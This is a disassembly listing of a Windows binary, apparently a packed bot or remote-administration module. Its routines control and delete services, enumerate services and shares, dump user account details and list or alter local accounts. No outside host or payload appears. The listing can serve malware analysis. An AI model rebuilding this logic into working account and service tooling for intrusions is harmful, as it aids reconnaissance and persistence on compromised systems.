arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4D11E4 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_419008 call dword_42708C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_41907D ; --------------------------------------------------------------------------- loc_419008: ; CODE XREF: sub_418FE1+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4D10CC ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_419028 call dword_42708C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_419075 ; --------------------------------------------------------------------------- loc_419028: ; CODE XREF: sub_418FE1+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_41905B cmp eax, 3 jz short loc_41904C jle short loc_41906E cmp eax, 6 jg short loc_41906E lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4D1138 ; ControlService jmp short loc_419062 ; --------------------------------------------------------------------------- loc_41904C: ; CODE XREF: sub_418FE1+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4D10D4 ; StartServiceA jmp short loc_419062 ; --------------------------------------------------------------------------- loc_41905B: ; CODE XREF: sub_418FE1+4Dj push esi call dword_4D113C ; DeleteService loc_419062: ; CODE XREF: sub_418FE1+69j ; sub_418FE1+78j test eax, eax jnz short loc_41906E call dword_42708C ; RtlGetLastWin32Error mov ebx, eax loc_41906E: ; CODE XREF: sub_418FE1+54j ; sub_418FE1+59j ... push esi call dword_4D10E8 ; CloseServiceHandle loc_419075: ; CODE XREF: sub_418FE1+45j push edi call dword_4D10E8 ; CloseServiceHandle pop esi loc_41907D: ; CODE XREF: sub_418FE1+25j mov eax, ebx pop edi pop ebx leave retn sub_418FE1 endp ; =============== S U B R O U T I N E ======================================= sub_419083 proc near ; CODE XREF: sub_418F5A+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_419138 jz loc_419131 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_4190FB jz short loc_4190F1 mov ecx, eax sub ecx, 3 jz short loc_4190E7 dec ecx dec ecx jz short loc_4190DD dec ecx jz short loc_4190D3 sub ecx, 51h jz short loc_4190C9 sub ecx, 24h jnz loc_4191AE ; default ; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4191A0 ; --------------------------------------------------------------------------- loc_4190C9: ; CODE XREF: sub_419083+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4191A0 ; --------------------------------------------------------------------------- loc_4190D3: ; CODE XREF: sub_419083+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4191A0 ; --------------------------------------------------------------------------- loc_4190DD: ; CODE XREF: sub_419083+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4191A0 ; --------------------------------------------------------------------------- loc_4190E7: ; CODE XREF: sub_419083+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4191A0 ; --------------------------------------------------------------------------- loc_4190F1: ; CODE XREF: sub_419083+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4191A0 ; --------------------------------------------------------------------------- loc_4190FB: ; CODE XREF: sub_419083+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_41912A dec ecx jz short loc_419123 dec ecx jz short loc_41911C dec ecx jnz loc_4191AE ; default ; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4191A0 ; --------------------------------------------------------------------------- loc_41911C: ; CODE XREF: sub_419083+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_419123: ; CODE XREF: sub_419083+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_41912A: ; CODE XREF: sub_419083+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_419131: ; CODE XREF: sub_419083+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_419138: ; CODE XREF: sub_419083+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_4191AE ; default ; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16 jz short loc_41919B lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_4191AE ; default ; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_4191EF[ecx] jmp off_4191C7[ecx*4] ; switch jump loc_41915C: ; DATA XREF: .nsp0:off_4191C7o push offset aTheSpecifiedDa ; jumptable 00419155 case 7 jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_419163: ; CODE XREF: sub_419083+D2j ; DATA XREF: .nsp0:off_4191C7o push offset aTheServiceDepe ; jumptable 00419155 case 17 jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_41916A: ; CODE XREF: sub_419083+D2j ; DATA XREF: .nsp0:off_4191C7o push offset aTheServiceDe_0 ; jumptable 00419155 case 10 jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_419171: ; CODE XREF: sub_419083+D2j ; DATA XREF: .nsp0:off_4191C7o push offset aTheServiceHasB ; jumptable 00419155 case 0 jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_419178: ; CODE XREF: sub_419083+D2j ; DATA XREF: .nsp0:off_4191C7o push offset aTheSpecified_0 ; jumptable 00419155 case 2 jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_41917F: ; CODE XREF: sub_419083+D2j ; DATA XREF: .nsp0:off_4191C7o push offset aTheServiceCoul ; jumptable 00419155 case 11 jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_419186: ; CODE XREF: sub_419083+D2j ; DATA XREF: .nsp0:off_4191C7o push offset aTheServiceHa_0 ; jumptable 00419155 case 14 jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_41918D: ; CODE XREF: sub_419083+D2j ; DATA XREF: .nsp0:off_4191C7o push offset aTheRequested_1 ; jumptable 00419155 case 3 jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_419194: ; CODE XREF: sub_419083+D2j ; DATA XREF: .nsp0:off_4191C7o push offset aTheServiceHasN ; jumptable 00419155 case 4 jmp short loc_4191A0 ; --------------------------------------------------------------------------- loc_41919B: ; CODE XREF: sub_419083+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4191A0: ; CODE XREF: sub_419083+41j ; sub_419083+4Bj ... push offset dword_4E0BB0 call sub_41BF36 pop ecx pop ecx jmp short loc_4191C1 ; --------------------------------------------------------------------------- loc_4191AE: ; CODE XREF: sub_419083+36j ; sub_419083+89j ... push eax ; default ; jumptable 00419155 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4E0BB0 call sub_41BF36 add esp, 0Ch loc_4191C1: ; CODE XREF: sub_419083+129j mov eax, offset dword_4E0BB0 retn sub_419083 endp ; --------------------------------------------------------------------------- off_4191C7 dd offset loc_419171 ; DATA XREF: sub_419083+D2r dd offset loc_419178 ; jump table for switch statement dd offset loc_41918D dd offset loc_419194 dd offset loc_41915C dd offset loc_41916A dd offset loc_41917F dd offset loc_419186 dd offset loc_419163 dd offset loc_4191AE byte_4191EF db 0, 9, 1, 2 ; DATA XREF: sub_419083+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419201 proc near ; CODE XREF: .nsp0:00405FF4p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4D11E4 ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 14h loc_419239: ; CODE XREF: sub_419201+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4D11B0 ; EnumServicesStatusA test eax, eax jnz short loc_419273 call dword_42708C ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_419327 loc_419273: ; CODE XREF: sub_419201+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_41931E lea esi, [ebp+var_188] loc_419284: ; CODE XREF: sub_419201+117j mov eax, [esi+8] dec eax jz short loc_4192CD dec eax jz short loc_4192C6 dec eax jz short loc_4192BF dec eax jz short loc_4192B8 dec eax jz short loc_4192B1 dec eax jz short loc_4192AA dec eax jz short loc_4192A3 push offset aUnknown_1 ; " Unknown" jmp short loc_4192D2 ; --------------------------------------------------------------------------- loc_4192A3: ; CODE XREF: sub_419201+99j push offset aPaused_0 ; " Paused" jmp short loc_4192D2 ; --------------------------------------------------------------------------- loc_4192AA: ; CODE XREF: sub_419201+96j push offset aPausing ; " Pausing" jmp short loc_4192D2 ; --------------------------------------------------------------------------- loc_4192B1: ; CODE XREF: sub_419201+93j push offset aContinuing ; " Continuing" jmp short loc_4192D2 ; --------------------------------------------------------------------------- loc_4192B8: ; CODE XREF: sub_419201+90j push offset aRunning_0 ; " Running" jmp short loc_4192D2 ; --------------------------------------------------------------------------- loc_4192BF: ; CODE XREF: sub_419201+8Dj push offset aStoping ; " Stoping" jmp short loc_4192D2 ; --------------------------------------------------------------------------- loc_4192C6: ; CODE XREF: sub_419201+8Aj push offset aStarting ; " Starting" jmp short loc_4192D2 ; --------------------------------------------------------------------------- loc_4192CD: ; CODE XREF: sub_419201+87j push offset aStopped ; " Stopped" loc_4192D2: ; CODE XREF: sub_419201+A0j ; sub_419201+A7j ... lea eax, [ebp+var_20] push eax call sub_41BF36 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41BF36 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_419284 loc_41931E: ; CODE XREF: sub_419201+77j cmp [ebp+var_8], ebx jnz loc_419239 loc_419327: ; CODE XREF: sub_419201+6Cj push [ebp+var_C] call dword_4D10E8 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_419201 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41933E proc near ; CODE XREF: .nsp0:loc_4060B0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_4193D7 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_419367 dec eax jnz short loc_4193B7 push edi push 0 call sub_419510 pop ecx pop ecx jmp short loc_4193B3 ; --------------------------------------------------------------------------- loc_419367: ; CODE XREF: sub_41933E+18j cmp [ebp+arg_8], 0 jnz short loc_4193A5 push 24h push edi call sub_41C650 pop ecx test eax, eax pop ecx jnz short loc_4193A5 push 57h pop eax loc_41937E: ; CODE XREF: sub_41933E+77j push eax call sub_419CE8 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4E0E6C push off_440C48[eax*4] push offset unk_4412F4 push esi call sub_41BF36 add esp, 18h jmp short loc_4193F7 ; --------------------------------------------------------------------------- loc_4193A5: ; CODE XREF: sub_41933E+2Dj ; sub_41933E+3Bj push [ebp+arg_8] push edi push 0 call sub_419464 add esp, 0Ch loc_4193B3: ; CODE XREF: sub_41933E+27j test eax, eax jnz short loc_41937E loc_4193B7: ; CODE XREF: sub_41933E+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4E0E6C push off_440C4C[eax*4] push offset dword_4412D8 push esi call sub_41BF36 add esp, 10h jmp short loc_4193F7 ; --------------------------------------------------------------------------- loc_4193D7: ; CODE XREF: sub_41933E+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4E0E6C lea eax, [eax+eax*2] push off_440C48[eax*4] push offset unk_4412B4 push esi call sub_41BF36 add esp, 0Ch loc_4193F7: ; CODE XREF: sub_41933E+65j ; sub_41933E+97j mov eax, esi pop edi pop esi pop ebp retn sub_41933E endp ; =============== S U B R O U T I N E ======================================= sub_4193FD proc near ; CODE XREF: sub_41A702+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_41940A xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_41940A: ; CODE XREF: sub_4193FD+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_427180 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; dword_427180 test byte_4E106C, 1 mov ebp, eax jnz short loc_419447 or byte_4E106C, 1 lea eax, [ebp+1] push eax call sub_41D665 pop ecx mov dword_4E0E0C, eax loc_419447: ; CODE XREF: sub_4193FD+32j push esi push esi push ebp push dword_4E0E0C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; dword_427180 mov eax, dword_4E0E0C pop edi pop ebp pop ebx pop esi retn sub_4193FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419464 proc near ; CODE XREF: sub_41933E+6Dp ; sub_41AA26+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_4194CF push [ebp+arg_4] mov edi, eax call sub_4194CF push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C650 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_4194CF add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4D10E4 pop edi leave retn sub_419464 endp ; =============== S U B R O U T I N E ======================================= sub_4194CF proc near ; CODE XREF: sub_419464+Ap ; sub_419464+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_4194DC pop ebp retn ; --------------------------------------------------------------------------- loc_4194DC: ; CODE XREF: sub_4194CF+9j push ebx push esi mov esi, dword_427184 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; dword_427184 mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D665 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; dword_427184 pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_4194CF endp ; =============== S U B R O U T I N E ======================================= sub_419510 proc near ; CODE XREF: sub_41933E+20p ; sub_41A702+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4194CF push [esp+8+arg_4] mov esi, eax call sub_4194CF pop ecx pop ecx push 0 push eax push esi call dword_4D10BC pop esi retn sub_419510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419533 proc near ; CODE XREF: .nsp0:004060DCp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_4194CF xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 18h loc_41956C: ; CODE XREF: sub_419533+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4D1134 mov ebx, eax cmp ebx, esi jz short loc_4195CF cmp ebx, 0EAh jz short loc_4195CF push ebx push ebx call sub_419CE8 pop ecx push eax lea eax, [ebp+var_210] push offset unk_441340 push eax call sub_41BF36 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 24h jmp short loc_41963C ; --------------------------------------------------------------------------- loc_4195CF: ; CODE XREF: sub_419533+5Dj ; sub_419533+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_419633 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_4195DD: ; CODE XREF: sub_419533+FCj push dword ptr [esi+10h] call dword_4D10D8 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_4195F4 mov eax, offset aNo ; "No" loc_4195F4: ; CODE XREF: sub_419533+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41BF36 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_4195DD xor esi, esi loc_419633: ; CODE XREF: sub_419533+A2j push [ebp+var_4] call dword_4D1280 loc_41963C: ; CODE XREF: sub_419533+9Aj cmp ebx, 0EAh jz loc_41956C xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_419533 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419654 proc near ; CODE XREF: .nsp0:loc_406151p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4196F8 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_419696 dec eax jz short loc_41968B dec eax jnz short loc_4196B1 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_41979A add esp, 14h jmp short loc_4196AD ; --------------------------------------------------------------------------- loc_41968B: ; CODE XREF: sub_419654+1Dj push ebx push edi call sub_419779 pop ecx pop ecx jmp short loc_4196AD ; --------------------------------------------------------------------------- loc_419696: ; CODE XREF: sub_419654+1Aj cmp [ebp+arg_8], edi jz short loc_4196AA push [ebp+arg_8] push ebx push edi call sub_41971F add esp, 0Ch jmp short loc_4196AD ; --------------------------------------------------------------------------- loc_4196AA: ; CODE XREF: sub_419654+45j push 57h pop eax loc_4196AD: ; CODE XREF: sub_419654+35j ; sub_419654+40j ... cmp eax, edi jnz short loc_4196D1 loc_4196B1: ; CODE XREF: sub_419654+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4E1070 push off_440C4C[eax*4] push offset unk_4413F8 push esi call sub_41BF36 add esp, 10h jmp short loc_419718 ; --------------------------------------------------------------------------- loc_4196D1: ; CODE XREF: sub_419654+5Bj push eax call sub_419CE8 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4E1070 push off_440C48[eax*4] push offset unk_4413C8 push esi call sub_41BF36 add esp, 18h jmp short loc_419718 ; --------------------------------------------------------------------------- loc_4196F8: ; CODE XREF: sub_419654+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4E1070 lea eax, [eax+eax*2] push off_440C48[eax*4] push offset unk_4413A0 push esi call sub_41BF36 add esp, 0Ch loc_419718: ; CODE XREF: sub_419654+7Bj ; sub_419654+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_419654 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41971F proc near ; CODE XREF: sub_419654+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_4194CF push [ebp+arg_4] mov edi, eax call sub_4194CF push [ebp+arg_8] mov [ebp+var_24], eax call sub_4194CF add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4D10C8 pop edi leave retn sub_41971F endp ; =============== S U B R O U T I N E ======================================= sub_419779 proc near ; CODE XREF: sub_419654+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4194CF push [esp+8+arg_4] mov esi, eax call sub_4194CF pop ecx pop ecx push eax push esi call dword_4D10B8 pop esi retn sub_419779 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41979A proc near ; CODE XREF: sub_419654+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_4194CF push [ebp+arg_4] mov esi, eax call sub_4194CF pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4D1248 test eax, eax mov [ebp+arg_0], eax jnz loc_419B27 mov eax, [ebp+var_4] test eax, eax jz loc_419B62 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41BF36 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_4198B3 dec eax jz short loc_4198AC dec eax jz short loc_4198A5 mov eax, offset aUnknown ; "Unknown" jmp short loc_4198B8 ; --------------------------------------------------------------------------- loc_4198A5: ; CODE XREF: sub_41979A+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_4198B8 ; --------------------------------------------------------------------------- loc_4198AC: ; CODE XREF: sub_41979A+FFj mov eax, offset aUser_1 ; "User" jmp short loc_4198B8 ; --------------------------------------------------------------------------- loc_4198B3: ; CODE XREF: sub_41979A+FCj mov eax, offset aGuest ; "Guest" loc_4198B8: ; CODE XREF: sub_41979A+109j ; sub_41979A+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41BF36 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4099D2 add esp, 20h pop edi pop ebx jmp short loc_419B53 ; --------------------------------------------------------------------------- loc_419B27: ; CODE XREF: sub_41979A+35j push eax lea eax, [ebp+var_204] push offset unk_441418 push eax call sub_41BF36 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_4099D2 add esp, 20h loc_419B53: ; CODE XREF: sub_41979A+38Bj cmp [ebp+var_4], 0 jz short loc_419B62 push [ebp+var_4] call dword_4D1280 loc_419B62: ; CODE XREF: sub_41979A+40j ; sub_41979A+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_41979A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B68 proc near ; CODE XREF: .nsp0:0040617Dp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_4194CF push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 add esp, 18h loc_419BA7: ; CODE XREF: sub_419B68+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4D1150 cmp eax, esi mov [ebp+var_C], eax jz short loc_419C08 